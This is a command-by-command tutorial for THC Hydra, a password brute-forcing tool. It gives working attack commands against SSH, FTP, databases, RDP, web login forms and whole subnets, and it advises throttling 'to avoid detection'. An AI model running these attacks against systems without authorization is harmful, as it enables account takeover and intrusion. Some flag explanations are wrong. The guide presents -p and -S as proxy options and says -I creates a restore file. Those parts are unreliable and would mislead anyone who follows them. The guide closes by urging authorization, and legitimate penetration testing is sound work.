THC Hydra: Network Login Cracker In-Depth Guide

Hydra is a robust, parallelized network login cracker that supports a variety of protocols. It’s commonly used for security testing and penetration testing to assess the strength of authentication mechanisms. This guide provides an in-depth explanation of Hydra's functionality, commands, and real-world applications for network security testing.

 

1. Hydra Command Structure

Basic Syntax

hydra [options] [-s port] target [protocol]

Every Hydra command follows this structure:

1. The `hydra` executable – The main program that runs the attack.
2. Options – Flags used to customize the attack.
3. Target – The IP address or hostname of the system you are testing.
4. Protocol – The service or protocol you are attempting to crack.

2. Authentication Methods

2.1 Single Username Attacks

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh

In this example:

• -l admin: Targets a known username (admin).
• -P /usr/share/wordlists/rockyou.txt: Specifies the wordlist to be used for the password.
• 192.168.1.100: The target IP address.
• ssh: The service to attack (SSH).

This can be applied to other protocols as well, such as FTP:

hydra -l ftpuser -P custom_wordlist.txt ftp://192.168.1.100

2.2 Multiple Username and Password Attacks

hydra -L users.txt -P passwords.txt 192.168.1.100 mysql

This command attempts to crack a MySQL login by trying combinations of usernames from users.txt and passwords from passwords.txt.

Example content of users.txt:

admin
root
user1

Example content of passwords.txt:

password123
admin123
P@ssw0rd

3. Advanced Authentication Options

3.1 NULL Password and Common Variations

hydra -l admin -e nsr 192.168.1.100 ssh

The -e flag enables additional checks:

• n: Null password
• s: Password same as the username
• r: Reverse username as password

This will test combinations like:

• Username: admin, Password: [empty]
• Username: admin, Password: admin
• Username: admin, Password: nimda

3.2 Output Management

hydra -l admin -P passwords.txt 192.168.1.100 ssh -o ssh_results.txt -b json

This example:

• -o ssh_results.txt: Saves the results to ssh_results.txt.
• -b json: Specifies the output format as JSON (can also use text or jsonv1).

Example JSON output:

{
  "generator": {
    "software": "Hydra",
    "version": "v9.0",
    "built": "2024-11-03 17:23:12"
  },
  "results": [
    {
      "port": 22,
      "service": "ssh",
      "host": "192.168.1.100",
      "login": "admin",
      "password": "discovered_password"
    }
  ]
}

4. Web Form Attacks

4.1 HTTP POST Form

hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^&submit=Login:Invalid password"

This attack targets a web login form. The placeholders ^USER^ and ^PASS^ represent the username and password from the wordlist. If the login fails, the error message Invalid password is matched to determine if the login was unsuccessful.

Example with additional parameters:

hydra -l admin -P passwords.txt 192.168.1.100 http-post-form \
"/auth/login:username=^USER^&password=^PASS^&csrf=^CSRF^:F=Error:H=Cookie: csrf=^CSRF^"

This more complex example handles:

• CSRF token handling
• Cookie management
• Custom error message detection

4.2 HTTP GET Form

hydra -l admin -P passwords.txt target http-get-form \
"/login?user=^USER^&pass=^PASS^:F=Login failed"

This command works similarly but targets GET requests instead of POST.

5. Advanced Targeting

5.1 Port Specification

hydra -l admin -P passwords.txt 192.168.1.100 -s 2222 ssh

The -s flag specifies a custom port (in this case, port 2222) for the service being attacked.

5.2 Multiple Target Attack

hydra -L users.txt -P passwords.txt -M targets.txt ssh

-M targets.txt allows targeting multiple IPs at once by specifying them in a file (targets.txt).

Example content of targets.txt:

192.168.1.100
192.168.1.101
192.168.1.102

5.3 CIDR Notation

hydra -L users.txt -P passwords.txt 192.168.1.0/24 ssh

This targets an entire subnet, automatically discovering and attacking hosts within the 192.168.1.0/24 network range.

6. Performance Optimization

6.1 Parallel Task Control

hydra -l admin -P passwords.txt -t 4 -w 30 192.168.1.100 ssh

This command sets:

• -t 4: Limits the attack to 4 parallel tasks (lowering this number can reduce server load).
• -w 30: Sets a 30-second timeout to prevent hanging.

6.2 Task Distribution

hydra -l admin -P passwords.txt -M targets.txt -t 1 -T 4 ssh

This command balances the load across targets by specifying -T 4 tasks in total, with 1 task per target (-t 1).

7. Service-Specific Attacks

7.1 Database Services

hydra -l root -P passwords.txt 192.168.1.100 mysql

Hydra supports attacking multiple database services such as MySQL, PostgreSQL, and MSSQL:

# PostgreSQL
hydra -l postgres -P passwords.txt 192.168.1.100 postgres

# MSSQL
hydra -l sa -P passwords.txt 192.168.1.100 mssql

7.2 Remote Services

# RDP
hydra -l administrator -P passwords.txt 192.168.1.100 rdp

# SSH with Key
hydra -l admin -P keys.txt -m ssh_key 192.168.1.100 ssh

8. Proxy and SSL Support

8.1 Proxy Configuration

hydra -l admin -P passwords.txt target http-post-form \
"/login:user=^USER^&pass=^PASS^:F=failed" -p proxy.example.com:8080

Hydra supports proxying through both HTTP and SOCKS proxies:

• -p proxy:port for HTTP proxies.
• -S proxy:port for SOCKS proxies.

8.2 SSL/TLS Connections

hydra -l admin -P passwords.txt 192.168.1.100 https-post-form \
"/secure/login:user=^USER^&pass=^PASS^:F=failed"

This command targets an HTTPS service using SSL/TLS for secure connections.

9. Best Practices and Safety Measures

9.1 Rate Limiting

hydra -l admin -P passwords.txt -t 1 -W 5 192.168.1.100 ssh

Implement rate-limiting options to avoid detection:

• -W 5: Waits 5 seconds between each login attempt.
• -t 1: Limits the number of parallel tasks to 1.

9.2 Error Handling

hydra -l admin -P passwords.txt -I -f 192.168.1.100 ssh

Use -I to create a restore file and -f to stop after the first successful login.

10. Advanced Usage Examples

10.1 Complete Web Attack

hydra -l admin -P passwords.txt 192.168.1.100 http-post-form \
"/login.php:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: session=1234" \
-t 1 -w 30 -o web_results.txt -b json

10.2 Comprehensive Service Attack

hydra -L users.txt -P passwords.txt -M targets.txt -t 4 \
-e nsr -o service_results.txt -b json ssh

Conclusion

• Always obtain proper authorization before testing.
• Start with conservative settings to avoid overloading targets.
• Document all activities for transparency and compliance.
• Ensure the security of your results and handle them responsibly.

Hydra is a powerful tool for security testing when used ethically and responsibly. By following the best practices and guidelines outlined in this guide, you can perform thorough and effective security assessments.